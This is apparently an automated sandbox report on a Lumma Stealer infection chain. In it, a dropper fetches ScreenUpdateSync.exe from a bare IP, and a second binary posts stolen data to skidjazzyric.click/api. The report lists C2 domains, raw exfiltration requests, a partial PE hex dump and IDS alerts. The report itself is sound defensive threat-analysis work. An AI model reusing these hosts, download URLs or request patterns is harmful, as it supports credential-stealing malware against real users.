Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then push edi	3_2_0213C807
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+edi+53BD8A12h]	3_2_0213C807
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, dword ptr [0044C548h]	3_2_02118809
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_02107887
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_02107887
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_0212B8B5
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_021158FA
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_02140E12
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0212EE1A
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov dword ptr [ebx], 00000022h	3_2_0212BE07
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0212EE08
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-000000E2h]	3_2_0211BE2C
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ebx, edx	3_2_0212DE57
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 4B884A2Eh	3_2_02142F87
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then test esi, esi	3_2_0213CC07
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then jmp eax	3_2_02141C3E
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_0210AC99
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0212ECC9
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_02116D15
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ebx, eax	3_2_02105D17
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ebp, eax	3_2_02105D17
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+esi-00001458h]	3_2_02125D57
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0212BD67
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0211AD91
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0211BD88
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0212EDC6

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49708 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49708 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49711 -> 104.21.112.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: crowdwarek.shop
Source: Malware configuration extractor	URLs: femalsabler.shop
Source: Malware configuration extractor	URLs: versersleep.shop
Source: Malware configuration extractor	URLs: robinsharez.shop
Source: Malware configuration extractor	URLs: skidjazzyric.click
Source: Malware configuration extractor	URLs: soundtappysk.shop
Source: Malware configuration extractor	URLs: chipdonkeruz.shop
Source: Malware configuration extractor	URLs: apporholis.shop
Source: Malware configuration extractor	URLs: handscreamny.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 09 Jan 2025 07:34:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Thu, 09 Jan 2025 07:30:02 GMTETag: "53600-62b40f23d5dfc"Accept-Ranges: bytesContent-Length: 341504Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5a f6 05 ca 1e 97 6b 99 1e 97 6b 99 1e 97 6b 99 a3 d8 fd 99 1f 97 6b 99 00 c5 ef 99 3b 97 6b 99 00 c5 fe 99 00 97 6b 99 00 c5 e8 99 64 97 6b 99 39 51 10 99 1d 97 6b 99 1e 97 6a 99 6d 97 6b 99 00 c5 e1 99 1f 97 6b 99 00 c5 ff 99 1f 97 6b 99 00 c5 fa 99 1f 97 6b 99 52 69 63 68 1e 97 6b 99 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ab 7f f3 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 24 04 00 00 50 01 00 00 00 00 00 a5 5e 00 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 05 00 00 04 00 00 3f b1 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 2a 04 00 28 00 00 00 00 d0 04 00 68 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 47 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 23 04 00 00 10 00 00 00 24 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 e4 86 00 00 00 40 04 00 00 60 00 00 00 28 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 68 bc 00 00 00 d0 04 00 00 ae 00 00 00 88 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 104.21.56.70 104.21.56.70
Source: Joe Sandbox View	IP Address: 176.113.115.19 176.113.115.19

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49707 -> 176.113.115.19:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49712 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49711 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49706 -> 104.21.56.70:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 74Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3DD04L10ZVKXPSY85VZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12847Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=S6OMF5M6QOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15022Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CBIS1W9T7B6JTZI5AFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20237Host: skidjazzyric.click

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_004029F4 InternetOpenW,InternetOpenUrlW,GetTempPathW,GetTempFileNameW,CreateFileW,InternetReadFile,WriteFile,CloseHandle,CloseHandle,ShellExecuteExW,WaitForSingleObject,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_004029F4

Source: global traffic	HTTP traffic detected: GET /track_prt.php?sub=0&cc=DE HTTP/1.1User-Agent: ShareScreenHost: post-to-me.com
Source: global traffic	HTTP traffic detected: GET /ScreenUpdateSync.exe HTTP/1.1User-Agent: ShareScreenHost: 176.113.115.19

Source: global traffic	DNS traffic detected: DNS query: post-to-me.com
Source: global traffic	DNS traffic detected: DNS query: skidjazzyric.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: skidjazzyric.click

Source: xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/
Source: xCnwCctDWC.exe, 00000000.00000002.3860024412.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859689228.000000000077D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe
Source: xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe$#;o
Source: xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe1#.o
Source: xCnwCctDWC.exe, 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe5rjtejk5rytrrSOFTWARE
Source: xCnwCctDWC.exe, 00000000.00000003.3750032006.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3860024412.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe:#)o
Source: xCnwCctDWC.exe, 00000000.00000002.3859689228.000000000077D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exeH
Source: xCnwCctDWC.exe, 00000000.00000003.1478938722.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exeX
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000002.1661413975.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 1C22.tmp.exe, 00000003.00000003.1545456307.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000786000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/s
Source: xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000786000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/t
Source: xCnwCctDWC.exe	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=
Source: xCnwCctDWC.exe, 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=&cc=DE
Source: xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000786000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DE
Source: xCnwCctDWC.exe, 00000000.00000003.3750184677.0000000000786000.00000004.00000020.00020000.00000000.sdmp, xCnwCctDWC.exe, 00000000.00000002.3859836533.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DE6
Source: 1C22.tmp.exe, 1C22.tmp.exe, 00000003.00000002.1661413975.000000000072D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1518204557.000000000069D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.000000000072D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1518204557.00000000006B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/
Source: 1C22.tmp.exe, 00000003.00000002.1661413975.000000000072D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/(1
Source: 1C22.tmp.exe, 00000003.00000003.1541923069.0000000002E9A000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1545274296.0000000002E9A000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1531517541.0000000002E9A000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1530945857.0000000002E97000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1531025042.0000000002E97000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1557665827.000000000072D000.00000004.00000020.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1531298540.0000000002E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/api
Source: 1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/api5
Source: 1C22.tmp.exe, 00000003.00000003.1518204557.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/d
Source: 1C22.tmp.exe, 00000003.00000003.1530945857.0000000002E97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click:443/api
Source: 1C22.tmp.exe, 00000003.00000003.1546390144.000000000314C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 1C22.tmp.exe, 00000003.00000003.1546390144.000000000314C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 1C22.tmp.exe, 00000003.00000003.1519345655.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519443042.0000000002E57000.00000004.00000800.00020000.00000000.sdmp, 1C22.tmp.exe, 00000003.00000003.1519267872.0000000002E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 1C22.tmp.exe, 00000003.00000003.1546251290.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 1C22.tmp.exe, 00000003.00000003.1546390144.000000000314C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: 1C22.tmp.exe, 00000003.00000003.1546390144.000000000314C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: 1C22.tmp.exe, 00000003.00000003.1546390144.000000000314C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 1C22.tmp.exe, 00000003.00000003.1546390144.000000000314C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
